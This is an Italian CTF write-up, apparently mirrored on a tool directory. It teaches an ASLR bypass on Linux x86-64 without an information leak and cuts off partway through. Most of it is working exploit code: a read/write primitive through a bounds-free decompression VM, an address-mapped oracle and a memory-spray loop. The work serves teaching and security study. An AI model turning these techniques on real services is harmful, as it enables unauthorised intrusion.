Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
how-to-bypass-aslr-on-linux-x86_64 — Bypass di ASLR senza infoleak | Kitploit
Strumenti/GitHubGitHub/nick0ve/how-to-bypass-aslr-on-linux-x86_64
ExploitCTFApprendimento e FormazioneBinary Exploitation
GitHubnick0ve/how-to-bypass-aslr-on-linux-x86_64

how-to-bypass-aslr-on-linux-x86_64

Bypass di ASLR senza infoleak

Vedi Repository

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
1671744 anni faRevisionato da Kitploit
Condividi

Bypassare l'aslr a 64 bit su Linux x86-64

In questo articolo discuterò dell'applicazione della tecnica descritta da Samuel Groß nel suo Remote iPhone Exploitation Part 2: Bringing Light into the Darkness -- a Remote ASLR Bypass, per bypassare l'ASLR su Linux x86_64.

Per dimostrarlo, risolverò una sfida pwnable del Buckeye CTF, guess_god.

Cercherò di mantenere il contenuto il più possibile adatto ai principianti, quindi sentiti libero di saltare qualsiasi sezione se ti senti abbastanza sicuro e vuoi solo vedere l'exploit.

0. Introduzione


Non ho giocato alla CTF, ma la sfida mi ha interessato circa 2 ore prima della fine della CTF grazie a Guray00, che stava chiedendo aiuto nel discord di fibonhack su alcune stranezze crittografiche.

Non ho potuto aiutarlo, ma ho dato un'occhiata alle sfide pwnable e ho pensato che sarebbe stato utile capire il blogpost di P0 e magari ottenere quella bounty.

1. ASLR e come bypassarlo

1.1 Cos'è l'ASLR?

Address Space Layout Randomization (ASLR) è una tecnica di sicurezza informatica che prevede il posizionamento casuale dell'indirizzo di base di un eseguibile e della posizione di librerie, heap e stack, nello spazio degli indirizzi di un processo.

1.2 ASLR su Linux

Su Linux, puoi ispezionare i mapping di un processo dato il suo pid tramite procfs, leggendo il file /proc/<pid>/maps.

Se sei un processo e vuoi conoscere i tuoi mapping di memoria, puoi leggere /proc/self/maps.

Ad esempio, puoi provare a leggere /proc/self/maps con cat:``` root@088ec31b2ce9:/home/ctf/challenge# cat /proc/self/maps 55faeb01c000-55faeb01e000 r--p 00000000 fe:01 2497233 /usr/bin/cat 55faeb01e000-55faeb023000 r-xp 00002000 fe:01 2497233 /usr/bin/cat 55faeb023000-55faeb026000 r--p 00007000 fe:01 2497233 /usr/bin/cat 55faeb026000-55faeb027000 r--p 00009000 fe:01 2497233 /usr/bin/cat 55faeb027000-55faeb028000 rw-p 0000a000 fe:01 2497233 /usr/bin/cat 55faeb115000-55faeb136000 rw-p 00000000 00:00 0 [heap] 7fe15dfb1000-7fe15dfd5000 rw-p 00000000 00:00 0 7fe15dfd5000-7fe15dffb000 r--p 00000000 fe:01 2761561 /usr/lib/x86_64-linux-gnu/libc-2.33.so 7fe15dffb000-7fe15e166000 r-xp 00026000 fe:01 2761561 /usr/lib/x86_64-linux-gnu/libc-2.33.so 7fe15e166000-7fe15e1b2000 r--p 00191000 fe:01 2761561 /usr/lib/x86_64-linux-gnu/libc-2.33.so 7fe15e1b2000-7fe15e1b5000 r--p 001dc000 fe:01 2761561 /usr/lib/x86_64-linux-gnu/libc-2.33.so 7fe15e1b5000-7fe15e1b8000 rw-p 001df000 fe:01 2761561 /usr/lib/x86_64-linux-gnu/libc-2.33.so 7fe15e1b8000-7fe15e1c3000 rw-p 00000000 00:00 0 7fe15e1c7000-7fe15e1c8000 r--p 00000000 fe:01 2761539 /usr/lib/x86_64-linux-gnu/ld-2.33.so 7fe15e1c8000-7fe15e1ef000 r-xp 00001000 fe:01 2761539 /usr/lib/x86_64-linux-gnu/ld-2.33.so 7fe15e1ef000-7fe15e1f9000 r--p 00028000 fe:01 2761539 /usr/lib/x86_64-linux-gnu/ld-2.33.so 7fe15e1f9000-7fe15e1fb000 r--p 00031000 fe:01 2761539 /usr/lib/x86_64-linux-gnu/ld-2.33.so 7fe15e1fb000-7fe15e1fd000 rw-p 00033000 fe:01 2761539 /usr/lib/x86_64-linux-gnu/ld-2.33.so 7fff4388f000-7fff438b0000 rw-p 00000000 00:00 0 [stack] 7fff43989000-7fff4398d000 r--p 00000000 00:00 0 [vvar] 7fff4398d000-7fff4398f000 r-xp 00000000 00:00 0 [vdso] ffffffffff600000-ffffffffff601000 r-xp 00000000 00:00 0 [vsyscall]

root@088ec31b2ce9:/home/ctf/challenge# cat /proc/self/maps 55ffc0b1b000-55ffc0b1d000 r--p 00000000 fe:01 2497233 /usr/bin/cat 55ffc0b1d000-55ffc0b22000 r-xp 00002000 fe:01 2497233 /usr/bin/cat 55ffc0b22000-55ffc0b25000 r--p 00007000 fe:01 2497233 /usr/bin/cat 55ffc0b25000-55ffc0b26000 r--p 00009000 fe:01 2497233 /usr/bin/cat 55ffc0b26000-55ffc0b27000 rw-p 0000a000 fe:01 2497233 /usr/bin/cat 55ffc2108000-55ffc2129000 rw-p 00000000 00:00 0 [heap] 7f1ec6e0f000-7f1ec6e33000 rw-p 00000000 00:00 0 7f1ec6e33000-7f1ec6e59000 r--p 00000000 fe:01 2761561 /usr/lib/x86_64-linux-gnu/libc-2.33.so 7f1ec6e59000-7f1ec6fc4000 r-xp 00026000 fe:01 2761561 /usr/lib/x86_64-linux-gnu/libc-2.33.so 7f1ec6fc4000-7f1ec7010000 r--p 00191000 fe:01 2761561 /usr/lib/x86_64-linux-gnu/libc-2.33.so 7f1ec7010000-7f1ec7013000 r--p 001dc000 fe:01 2761561 /usr/lib/x86_64-linux-gnu/libc-2.33.so 7f1ec7013000-7f1ec7016000 rw-p 001df000 fe:01 2761561 /usr/lib/x86_64-linux-gnu/libc-2.33.so 7f1ec7016000-7f1ec7021000 rw-p 00000000 00:00 0 7f1ec7025000-7f1ec7026000 r--p 00000000 fe:01 2761539 /usr/lib/x86_64-linux-gnu/ld-2.33.so 7f1ec7026000-7f1ec704d000 r-xp 00001000 fe:01 2761539 /usr/lib/x86_64-linux-gnu/ld-2.33.so 7f1ec704d000-7f1ec7057000 r--p 00028000 fe:01 2761539 /usr/lib/x86_64-linux-gnu/ld-2.33.so 7f1ec7057000-7f1ec7059000 r--p 00031000 fe:01 2761539 /usr/lib/x86_64-linux-gnu/ld-2.33.so 7f1ec7059000-7f1ec705b000 rw-p 00033000 fe:01 2761539 /usr/lib/x86_64-linux-gnu/ld-2.33.so 7ffc72fa4000-7ffc72fc5000 rw-p 00000000 00:00 0 [stack] 7ffc72fe7000-7ffc72feb000 r--p 00000000 00:00 0 [vvar] 7ffc72feb000-7ffc72fed000 r-xp 00000000 00:00 0 [vdso] ffffffffff600000-ffffffffff601000 r-xp 00000000 00:00 0 [vsyscall]

root@kitploit:~
### Pattern dei mapping di memoria

Se fai questo un paio di volte, puoi dedurre che:
* La base PIE del binario dovrebbe essere nell'intervallo 0x00005500_00000000-0x00005700_00000000, il che significa 2TB di indirizzi possibili.
* L'heap è vicino al binario.
* Le librerie rientrano nell'intervallo 0x00007f00_00000000 - 0x00007fff_ffffffff, 1TB di indirizzi possibili.
* Lo stack si colloca \(nella maggior parte dei casi\) nell'intervallo 0x00007ffc_00000000 - 0x00007fff_ffffffff, 16gb di indirizzi possibili.
* L'intervallo 0xffffffffff600000 - 0xffffffffff601000 è sempre mappato, puoi leggere [questo articolo](http://terenceli.github.io/%E6%8A%80%E6%9C%AF/2019/02/13/vsyscall-and-vdso) se sei curioso di sapere di cosa si tratta.

## 1.3 Come bypassare ASLR senza un infoleak

Discutiamo di cosa puoi fare per bypassare ASLR quando non è possibile alcun information leak.

Questo è il mio tentativo di riassumere ciò che ho ricavato leggendo il blogpost di Saelo.

Per bypassare ASLR ti serve:
* Una tecnica di memory spraying, che ti consente di mappare memoria contigua di una data dimensione, su un dato intervallo di indirizzi.
  
  Come dice lui, ci sono due modi per farlo:
  1. Abusando di un memory leak (non un information leak!), un bug in cui un blocco di memoria viene “dimenticato” e mai liberato, e innescandolo più volte finché la quantità di memoria desiderata è stata leakata.
  2. Trovando e abusando di un “amplification gadget”: un pezzo di codice che prende un blocco di dati esistente e lo copia, potenzialmente più volte, consentendo quindi all'attaccante di sprayare una grande quantità di memoria inviando solo un numero relativamente piccolo di byte.
* Un oracolo `isAddressMapped`, che dato un indirizzo ti dice se quell'indirizzo è mappato o meno.

### PoC del bypass di ASLR su Linux

Proviamo a riprodurre il PoC di saelo per rompere completamente aslr su Linux.

<p align="center"> <img src="https://assets.kitploit.com/production/public/readmes/48660/93fcc6aff8ffd2e8395f34b35bc2f5d244e74a53b2fac39c3dae35c802227339.png" > <i> il PoC di saelo</i> <p/> <br/>

Su Linux non è così facile, è possibile rompere completamente ASLR solo se riesci ad allocare 16TB di memoria.```C
#include <stdio.h>
#include <stdlib.h>

int main()
{
    // 64gb
    size_t size = 0x1000000000;

    // 16TB allocations
    for (int i = 0; i < 256; i++) {
        void *mem = malloc(size); // this ends up calling mmap
        if (!mem) {
            puts("Failed");
            return 1;
        }
        printf("%p\n", mem);
    }

    unsigned int *mem = (void*)0x7f0000000000ULL;
    *mem = 0x41414141;
    printf("R/W to %p: %x\n", mem, *mem);

    return 0;
}

Nota sull'allocazione di memoria di glibc

Dalle note di man malloc:

  • Normalmente, malloc() alloca memoria dall'heap e regola la dimensione dell'heap secondo necessità, usando sbrk(2). Quando alloca blocchi di memoria più grandi di MMAP_THRESHOLD byte, l'implementazione glibc di malloc() alloca la memoria come mapping anonimo privato usando mmap(2). MMAP_THRESHOLD è 128 kB di default, ma è regolabile tramite mallopt(3). Le allocazioni effettuate usando mmap(2) non sono influenzate dal limite di risorsa RLIMIT_DATA (vedi getrlimit(2)).

Quindi void *mem = malloc(size) finirà per chiamare mmap(size + malloc_metadata_size, ...)

Poiché le librerie vengono mappate nel processo tramite mmap da ld, queste allocazioni finiranno vicino alle librerie.

Trucco dell'attraversamento del confine

Se guardi gli indirizzi restituiti da malloc puoi capire meglio cosa sta succedendo. Consiglio: guarda i byte più significativi.

memattraversamento confine 16tb?
0x7fb03b55e010No
0x7fa03b55d010No
0x7f903b55c010No
0x7f803b55b010No
0x7f703b55a010No
0x7f603b559010No
0x7f503b558010No
0x7f403b557010No
0x7f303b556010No
0x7f203b555010No
0x7f103b554010No
0x7f003b553010No
0x7ef03b552010Sì
0x7ee03b551010Sì
0x7ed03b550010Sì
0x7ec03b54f010Sì

La PoC sfrutta il fatto che, a un certo punto, il byte più significativo dell'indirizzo restituito cambia da 7F a 7E e, poiché le allocazioni sono contigue, deve esserci qualcosa all'interno di quell'intervallo. (Sì, stiamo applicando il teorema di Bolzano-Weirstress per risolvere questo problema!)

2 La sfida

Grazie all'autore, lo zip contiene binari, codice sorgente e dockerfile per riprodurre lo stesso ambiente di quello remoto.


2.1 Punto d'appoggio iniziale

È sempre una buona cosa farsi un'idea dell'ambiente: scorriamo i file e prendiamo qualche nota.

  • jail.cfg impone alcune restrizioni, non dimentichiamo questi limiti perché potrebbero compromettere l'exploit: ```yaml time_limit: 300 cgroup_cpu_ms_per_sec: 100 cgroup_pids_max: 64 rlimit_fsize: 2048 rlimit_nofile: 2048 cgroup_mem_max: 1073741824 # 1GB
    root@kitploit:~
  • Dal Dockerfile possiamo imparare alcune cose interessanti:
    1. Compila e installa oatpp 1.2.5, forse ci sono bug utili in questa specifica versione?

      root@kitploit:~
      # Install oatpp
      RUN git clone https://github.com/oatpp/oatpp.git
      RUN cd /oatpp && git checkout 1.2.5 && mkdir build && cd build && cmake .. && make install
      
    2. Compila la challenge da zero

      root@kitploit:~
      WORKDIR /home/ctf/challenge/src/
      RUN mkdir -p src/build && cd src/build && cmake .. && make
      RUN cp src/build/flag_server-exe src/build/libkylezip.so flag.txt /   home/  ctf/challenge/
      

      Questo potrebbe essere un problema, quindi copiamo invece i binari distribuiti.

      root@kitploit:~
      COPY bins/flag_server-exe /home/ctf/challenge/
      COPY bins/libkylezip.so /home/ctf/challenge/
      
  • E infine, controlla le protezioni dei binari forniti


    Ottimo, libkylezip.so è compilato con Partial RELRO, questo significa che la GOT è scrivibile, tienilo a mente per quando vorremo ottenere l'esecuzione di codice.

2.2 Configurare l'ambiente locale e sondare l'applicazione

Viene fornito il file docker-compose.yml, quindi non è affatto difficile ottenere un ambiente locale funzionante da testare. Per quelli di voi che non hanno familiarità con docker, ecco l'elenco dei comandi che dovete conoscere per sondare la challenge localmente.```bash docker-compose build # Build the image, do this whenever you change something docker-compose up # start the container docker-compose down # stop the container

docker ps # list containers docker exec -it # exec COMMAND into the container

root@kitploit:~
Dopo aver eseguito `docker-compose build` puoi avviare il container con `docker-compose up` e connetterti alla challenge con `nc 127.0.0.1 9000`

<p align="center"> <img src="https://assets.kitploit.com/production/public/readmes/48660/d2f6e0f8adeb34fa1c0360ac4f106a7e555e60d9526c2c2b68d18a88a2ebc2f5.png" ><br/> <i></i><p/> 

# 3. Analisi del codice sorgente

Ora che abbiamo una conoscenza di base su cosa dobbiamo fare per bypassare ASLR, diamo un'occhiata al codice sorgente, tenendo presente che vogliamo:
* un modo per fare spray di memoria in intervalli di memoria noti
* un oracolo isAddrMapped

<p align="center"> <img src="https://assets.kitploit.com/production/public/readmes/48660/9de53f68dfebca28be7f8106ec19adda12ee2ce47e6dbb8734519e466c0cbdd8.png" width="50%"><br/> <i> Cartella del codice sorgente </i><p/> 

Si tratta per lo più di codice di collegamento per mettere in piedi un server web oatpp; infatti i file importanti che andremo ad analizzare sono:
* src/controller/MyController.*
* kylezip/decompress.*

## 3.1 MyController.*

<p align="center"> <img src="https://assets.kitploit.com/production/public/readmes/48660/d2a20d6b93582d4cc5e61eb373eb50ddcc8ac1576082ba5adc017d05d11138e4.png"><br/> <i>MyController.hpp</i><p/> 

Ci sono 3 endpoint:
* `/`
* `GET /files/{fileId}` -> Scarica un file precedentemente caricato; se extract è true, lo estrae prima di scaricarlo.
* `POST /upload/{fileId}` -> Carica un file dato un {fileId}.

E una funzione implementata in `MyController.cpp````C
std::shared_ptr<oatpp::base::StrBuffer> MyController::get_file(int file_id, bool extract) 

quale:

  • Imposta to_open su {file_id} o {file_id}.unkyle ```C std::ostringstream comp_fname; comp_fname << filename; if (extract) { // Want the un-kylezip-d version comp_fname << ".unkyle"; } auto to_open = comp_fname.str();

    root@kitploit:~
  • Se è la prima volta che richiediamo l'estrazione di {file_id}, allora chiama decompress su di esso, che scriverà il file decompresso di {file_id} in {file_id}.unkyle. ```C int fd = open(to_open.c_str(), O_RDONLY); if (fd == -1) { if (!extract) return NULL;

    root@kitploit:~
    /* Need to create decompressed version of file
     * Kyle gave me a buggy library so we are going to fork
     * in case we crash the web server will still stay up.
     */
    pid_t p = fork();
    if (p == 0) {
      decompress(filename);
      exit(0);
    } else {
      waitpid(p, NULL, 0);
    }
    
    
    fd = open(to_open.c_str(), O_RDONLY);
    if (fd == -1) {
      return NULL;
    }
    

    }

    root@kitploit:~
  • Infine mmap il risultato in memoria. ```C struct stat sb;

    if (fstat(fd, &sb) != 0) { return NULL; }

    /* mmap the file in for performance, or something... idk kyle made me write this */ // void *mem = mmap(NULL, sb.st_size, PROT_READ, MAP_PRIVATE, fd, 0);

    root@kitploit:~

Osservazioni

  • fork() crea un nuovo processo duplicando il processo chiamante; al momento della fork() entrambi gli spazi di memoria hanno lo stesso contenuto.

    Quindi, se siamo in grado di trasformare decompress() in un oracolo che:

    • Va in crash su indirizzi non validi
    • Non va in crash su indirizzi validi

    Potremmo usare questa primitiva per dedurre lo spazio di memoria del processo padre.

  • C'è una chiamata a mmap nel processo padre: ```C void *mem = mmap(NULL, sb.st_size, PROT_READ, MAP_PRIVATE, fd, 0);

    root@kitploit:~

se possiamo controllare sb.st_size, che è la dimensione del file decompresso, potremmo facilmente trasformarlo in una primitiva di memory spraying.

3.2 decompress.*

decompress()```C

int decompress(const char *fname)

root@kitploit:~
* Mappa il file di input all'indirizzo `0x42069000000`.
* Mappa il file di output all'indirizzo `0x13371337000`.
* Chiama do_decompress() che porta a termine la decompressione.

Il file deve essere nel formato:
| offset | nome | tipo | descrizione |
| - | - | - | - | 
| +0h | magic | uint64 | un valore magico, ci si aspetta che sia 0x0123456789abcdef |
| +8h | filesize | uint64 | dimensione del file decompresso |

### do_decompress()```C
static void do_decompress(char *out, char *in, size_t insize)

Puoi vedere questa funzione come una semplice macchina virtuale, che esegue il bytecode puntato da in e scrive l'output nel buffer puntato da out.

in punta al nostro {file_id}.

out punta a {file_id.unkyle}.

Questa VM ha 4 opcode:

  • 0 -> NOP

  • 1 -> STORE(u8 b)

    scrive b su out, incrementa out di 1.

    Implementazione dell'opcode: ```C case 1: { // Write byte uint8_t b = in[cur++]; *(out++) = b; break; }

    root@kitploit:~
  • 2 -> SEEK(u64 off)

    imposta out a out + off.

    out e off sono valori a 64 bit, quindi out = out+off è equivalente a out = (out+off) % MAX_64BIT_VALUE, questo è chiamato integer overflow e possiamo sfruttare questo comportamento per raggiungere qualsiasi valore a 64 bit. Esempio: ```py M64 = (1<<64) # Maximum 64bit value def get_off(out: int, target: int): return (target-out) % M64

    We are at 0xffffffff, what can we add to reach 0?

    print ('{:#x}'.format(get_off(0xffffffff, 0)))

    Result = 0xffffffff00000001

    That's the same as doing this

    M64 = (1<<64)-1 # Maximum 64bit value def get_off(out: int, target: int): return (target-out) & M64

    print ('{:#x}'.format(get_off(0xffffffff, 0)))

    root@kitploit:~

Implementazione dell'opcode: ```C case 2: { // Seek uint64_t off = (uint64_t)(&in[cur]); cur += sizeof(off); out += off; break; }

root@kitploit:~
* 3 -> LOAD(off, size).  
Copia `size` byte da `out - off` a `out`, incrementa `out` di 8.

Implementazione dell'opcode:  ```C
case 3: {
  // Copy some previously written bytes
  uint64_t off = *(uint64_t*)(&in[cur]);
  cur += sizeof(off);
  uint64_t count = *(uint64_t*)(&in[cur]);
  cur += sizeof(off);
  memcpy(out, out-off, count);
  out += count;
  break;
}

Non ci sono controlli dei limiti in nessuna delle operazioni, il che ci dà 2 primitive utili:

  • Leggi Cosa Dove, abusando di SEEK+LOAD
  • Scrivi Cosa Dove: abusando di SEEK+STORE

Ho usato questo codice per costruire il bytecode:```py IN_ADDR = 0x42069000000 # PROT R OUT_ADDR = 0x13371337000 # PROT RW M64 = (1<<64)-1

class CompressedFile(): slots = ['cur', 'content', 'out']

root@kitploit:~
def __init__(self, filesize):
    self.cur = 16
    self.content = b''
    self.content += p64(0x0123456789abcdef) # magic
    self.content += p64(filesize) # file size
    self.out = OUT_ADDR

def nop(self):
    self.content += b'\x00'
    self.cur += 1

def write(self, b: bytes):
    assert len(b) == 1

    self.content += b'\x01' + b
    self.cur += 2
    self.out += 1

def seek(self, off):
    self.content += b'\x02'
    self.content += p64(off)
    self.cur += 9

def memcpy(self, off, count):
    # memcpy(out, out-off, count);
    self.content += b'\x03'
    self.content += p64(off)
    self.content += p64(count)
    self.cur += 17
root@kitploit:~
# 4. Interazione con il binario

Prima di addentrarci nella fase di sfruttamento, è sempre bene costruire qualcosa che ti permetta di interagire facilmente con il binario, per evitare di perdere tempo.```py
import requests

def uploadFile(blob: bytes, fileid: int):
    assert (fileid < (1<<31) - 1)

    multipart_form_data = {
        'file': (f'payload_{fileid}', blob),
    }

    res = requests.post(
        f"http://{SERVER_IP}:{SERVER_PORT}/upload/{fileid}",
        files=multipart_form_data
    )

    return res

def getFile(fileid: int, extract="true"):
    res = requests.get(f"http://{SERVER_IP}:{SERVER_PORT}/files/{fileid}?extract={extract}")
    return res

Ispeziona i memory mapping della challenge

Questo è stato molto importante per me quando ho cercato di risolvere la challenge: ho fissato i memory mapping per molto tempo.

Per farlo, puoi avviare un'istanza locale della challenge e leggere le mappe del processo dopo aver eseguito alcune operazioni.


4.2 Oracolo isAddrMapped

Ci viene data una primitiva di tipo read what where, quindi costruire un oracolo isAddressMapped non è affatto difficile.

Il mio modo di farlo è stato costruire questo bytecode:

  • memcpy(out, targetAddress, 1)
  • write(b'A')

Se targetAddress non è mappato, il programma figlio va in segfault su memcpy, dandoci un file decompresso riempito con byte nulli.

Se targetAddress è mappato, il file decompresso ha un b'\x41' come secondo byte.```py def isAddrMapped(addr, fileid, filelen=2): toup = CompressedFile(filelen)

root@kitploit:~
# addr = OUT_ADDR - off
off = (OUT_ADDR - addr) & M64
# memcpy(toup.out, addr, 1)
toup.memcpy(off, 1)
# *(toup.out+1) = 0x41
toup.write(b'\x41')

uploadFile(toup.content, fileid)
res = getFile(fileid)
isMapped = res.content[1] == 0x41

return isMapped
root@kitploit:~
## 4.3 Primitiva di Memory Spray

Possiamo controllare completamente la dimensione del file decompresso e otteniamo una mmap di quella dimensione in [MyController.cpp:62](https://github.com/nick0ve/how-to-bypass-aslr-on-linux-x86_64/blob/main/resources/dist-guess-god/src/src/controller/MyController.cpp#L62).

Nel mio exploit ho usato la funzione `isAddrMapped` e modificato il filelen.

Ad esempio, proviamo ad allocare un blocco contiguo di dimensione = 0x4000000 = 64mb```py
isAddrMapped(IN_ADDR, 0, 0x4000000)

Questo è il risultato:``` root@088ec31b2ce9:/home/ctf/challenge# cat /proc/47/maps ... 7f3450000000-7f3454000000 r--p 00000000 00:af 3 /challenge/files/0.unkyle ...

root@kitploit:~
Se provi a rifarlo:```py
isAddrMapped(IN_ADDR, 0, 0x4000000)
isAddrMapped(IN_ADDR, 0, 0x4000000)

Ecco il risultato:``` 7f344c000000-7f3450000000 r--p 00000000 00:af 5 /challenge/files/1.unkyle 7f3450000000-7f3454000000 r--p 00000000 00:af 3 /challenge/files/0.unkyle

root@kitploit:~
Bello! Le allocazioni multiple non avranno buchi.

## 4.4 Quanta memoria sprayare?

Come puoi vedere da [questa POC](#poc-of-aslr-bypass-on-linux), la dimensione ideale per la memoria mappata contigua sarebbe 16TB.

Sfortunatamente, se provi ad allocare 16TB di memoria sul server remoto, la mmap fallirà, perché [nsjail limita questo](https://github.com/nick0ve/how-to-bypass-aslr-on-linux-x86_64#21-initial-foothold).

Dopo alcuni tentativi ed errori ho scoperto che posso sprayare ~3840mb di memoria, con questo codice:```py
size =    0x000004000000
for i in range(0, 60):
    print ('.', end='')
    isAddrMapped(IN_ADDR, i, size)

le mappature di memoria risultanti saranno più o meno così:

Risultato del Memory Spray```

root@088ec31b2ce9:/home/ctf/challenge# cat /proc/pgrep flag_server-exe/maps ... My spray: ... 7fe2dc000000-7fe2e0000000 r--p 00000000 00:af 121 /challenge/files/59.unkyle 7fe2e0000000-7fe2e4000000 r--p 00000000 00:af 119 /challenge/files/58.unkyle 7fe2e4000000-7fe2e8000000 r--p 00000000 00:af 117 /challenge/files/57.unkyle 7fe2e8000000-7fe2ec000000 r--p 00000000 00:af 115 /challenge/files/56.unkyle 7fe2ec000000-7fe2f0000000 r--p 00000000 00:af 113 /challenge/files/55.unkyle 7fe2f0000000-7fe2f4000000 r--p 00000000 00:af 111 /challenge/files/54.unkyle 7fe2f4000000-7fe2f8000000 r--p 00000000 00:af 109 /challenge/files/53.unkyle 7fe2f8000000-7fe2fc000000 r--p 00000000 00:af 107 /challenge/files/52.unkyle 7fe2fc000000-7fe300000000 r--p 00000000 00:af 105 /challenge/files/51.unkyle 7fe300000000-7fe304000000 r--p 00000000 00:af 103 /challenge/files/50.unkyle 7fe304000000-7fe308000000 r--p 00000000 00:af 101 /challenge/files/49.unkyle 7fe308000000-7fe30c000000 r--p 00000000 00:af 99 /challenge/files/48.unkyle 7fe30c000000-7fe310000000 r--p 00000000 00:af 97 /challenge/files/47.unkyle 7fe310000000-7fe314000000 r--p 00000000 00:af 95 /challenge/files/46.unkyle 7fe314000000-7fe318000000 r--p 00000000 00:af 93 /challenge/files/45.unkyle 7fe318000000-7fe31c000000 r--p 00000000 00:af 91 /challenge/files/44.unkyle 7fe31c000000-7fe320000000 r--p 00000000 00:af 89 /challenge/files/43.unkyle 7fe320000000-7fe324000000 r--p 00000000 00:af 87 /challenge/files/42.unkyle 7fe324000000-7fe328000000 r--p 00000000 00:af 85 /challenge/files/41.unkyle 7fe328000000-7fe32c000000 r--p 00000000 00:af 83 /challenge/files/40.unkyle 7fe32c000000-7fe330000000 r--p 00000000 00:af 81 /challenge/files/39.unkyle 7fe330000000-7fe334000000 r--p 00000000 00:af 79 /challenge/files/38.unkyle 7fe334000000-7fe338000000 r--p 00000000 00:af 77 /challenge/files/37.unkyle 7fe338000000-7fe33c000000 r--p 00000000 00:af 75 /challenge/files/36.unkyle 7fe33c000000-7fe340000000 r--p 00000000 00:af 73 /challenge/files/35.unkyle 7fe340000000-7fe344000000 r--p 00000000 00:af 71 /challenge/files/34.unkyle 7fe344000000-7fe348000000 r--p 00000000 00:af 69 /challenge/files/33.unkyle 7fe348000000-7fe34c000000 r--p 00000000 00:af 67 /challenge/files/32.unkyle 7fe34c000000-7fe350000000 r--p 00000000 00:af 65 /challenge/files/31.unkyle 7fe350000000-7fe354000000 r--p 00000000 00:af 63 /challenge/files/30.unkyle 7fe354000000-7fe358000000 r--p 00000000 00:af 61 /challenge/files/29.unkyle 7fe358000000-7fe35c000000 r--p 00000000 00:af 59 /challenge/files/28.unkyle 7fe35c000000-7fe360000000 r--p 00000000 00:af 57 /challenge/files/27.unkyle 7fe360000000-7fe364000000 r--p 00000000 00:af 55 /challenge/files/26.unkyle 7fe364000000-7fe368000000 r--p 00000000 00:af 53 /challenge/files/25.unkyle 7fe368000000-7fe36c000000 r--p 00000000 00:af 51 /challenge/files/24.unkyle 7fe36c000000-7fe370000000 r--p 00000000 00:af 49 /challenge/files/23.unkyle 7fe370000000-7fe374000000 r--p 00000000 00:af 47 /challenge/files/22.unkyle 7fe374000000-7fe378000000 r--p 00000000 00:af 45 /challenge/files/21.unkyle 7fe378000000-7fe37c000000 r--p 00000000 00:af 43 /challenge/files/20.unkyle 7fe37c000000-7fe380000000 r--p 00000000 00:af 41 /challenge/files/19.unkyle 7fe380000000-7fe384000000 r--p 00000000 00:af 39 /challenge/files/18.unkyle 7fe384000000-7fe388000000 r--p 00000000 00:af 37 /challenge/files/17.unkyle 7fe388000000-7fe38c000000 r--p 00000000 00:af 35 /challenge/files/16.unkyle 7fe38c000000-7fe390000000 r--p 00000000 00:af 33 /challenge/files/15.unkyle 7fe390000000-7fe394000000 r--p 00000000 00:af 31 /challenge/files/14.unkyle 7fe394000000-7fe398000000 r--p 00000000 00:af 29 /challenge/files/13.unkyle 7fe398000000-7fe39c000000 r--p 00000000 00:af 27 /challenge/files/12.unkyle 7fe39c000000-7fe3a0000000 r--p 00000000 00:af 25 /challenge/files/11.unkyle 7fe3a0000000-7fe3a0021000 rw-p 00000000 00:00 0 7fe3a0021000-7fe3a4000000 ---p 00000000 00:00 0 7fe3a4000000-7fe3a8000000 r--p 00000000 00:af 23 /challenge/files/10.unkyle 7fe3a8000000-7fe3ac000000 r--p 00000000 00:af 21 /challenge/files/9.unkyle 7fe3ac000000-7fe3b0000000 r--p 00000000 00:af 19 /challenge/files/8.unkyle 7fe3b0000000-7fe3b4000000 r--p 00000000 00:af 17 /challenge/files/7.unkyle 7fe3b4000000-7fe3b8000000 r--p 00000000 00:af 15 /challenge/files/6.unkyle 7fe3b8000000-7fe3bc000000 r--p 00000000 00:af 13 /challenge/files/5.unkyle 7fe3bc000000-7fe3c0000000 r--p 00000000 00:af 11 /challenge/files/4.unkyle 7fe3c0000000-7fe3c4000000 r--p 00000000 00:af 9 /challenge/files/3.unkyle 7fe3c4000000-7fe3c8000000 r--p 00000000 00:af 7 /challenge/files/2.unkyle 7fe3c8000000-7fe3cc000000 r--p 00000000 00:af 5 /challenge/files/1.unkyle 7fe3cc000000-7fe3d0000000 r--p 00000000 00:af 3 /challenge/files/0.unkyle 7fe3d0000000-7fe3d01a8000 rw-p 00000000 00:00 0 7fe3d01a8000-7fe3d4000000 ---p 00000000 00:00 0

... Libraries: ...

7fe3d6a1e000-7fe3d6a1f000 r--p 00000000 fe:01 1445947 /challenge/libkylezip.so 7fe3d6a1f000-7fe3d6a20000 r-xp 00001000 fe:01 1445947 /challenge/libkylezip.so 7fe3d6a20000-7fe3d6a21000 r--p 00002000 fe:01 1445947 /challenge/libkylezip.so 7fe3d6a21000-7fe3d6a22000 r--p 00002000 fe:01 1445947 /challenge/libkylezip.so 7fe3d6a22000-7fe3d6a23000 rw-p 00003000 fe:01 1445947 /challenge/libkylezip.so 7fe3d6a23000-7fe3d6a25000 rw-p 00000000 00:00 0 7fe3d6a25000-7fe3d6a26000 r--p 00000000 fe:01 2761539 /lib/x86_64-linux-gnu/ld-2.33.so 7fe3d6a26000-7fe3d6a4d000 r-xp 00001000 fe:01 2761539 /lib/x86_64-linux-gnu/ld-2.33.so 7fe3d6a4d000-7fe3d6a57000 r--p 00028000 fe:01 2761539 /lib/x86_64-linux-gnu/ld-2.33.so 7fe3d6a57000-7fe3d6a59000 r--p 00031000 fe:01 2761539 /lib/x86_64-linux-gnu/ld-2.33.so 7fe3d6a59000-7fe3d6a5b000 rw-p 00033000 fe:01 2761539 /lib/x86_64-linux-gnu/ld-2.33.so

...

root@kitploit:~
Concentriamo la nostra attenzione sugli indirizzi creati con il memory spraying. \(*.unkyle files \)

Possiamo provare ad applicare il [trucco dell'attraversamento del confine](#Boundary-cross-trick).

| mem | Attraversa il limite di 4gb?
| - |-
| 7fe2dc000000 | No
| 7fe2e0000000 | No
| 7fe2e4000000 | No
| 7fe2e8000000 | No
| 7fe2ec000000 | No
| 7fe2f0000000 | No
| 7fe2f4000000 | No
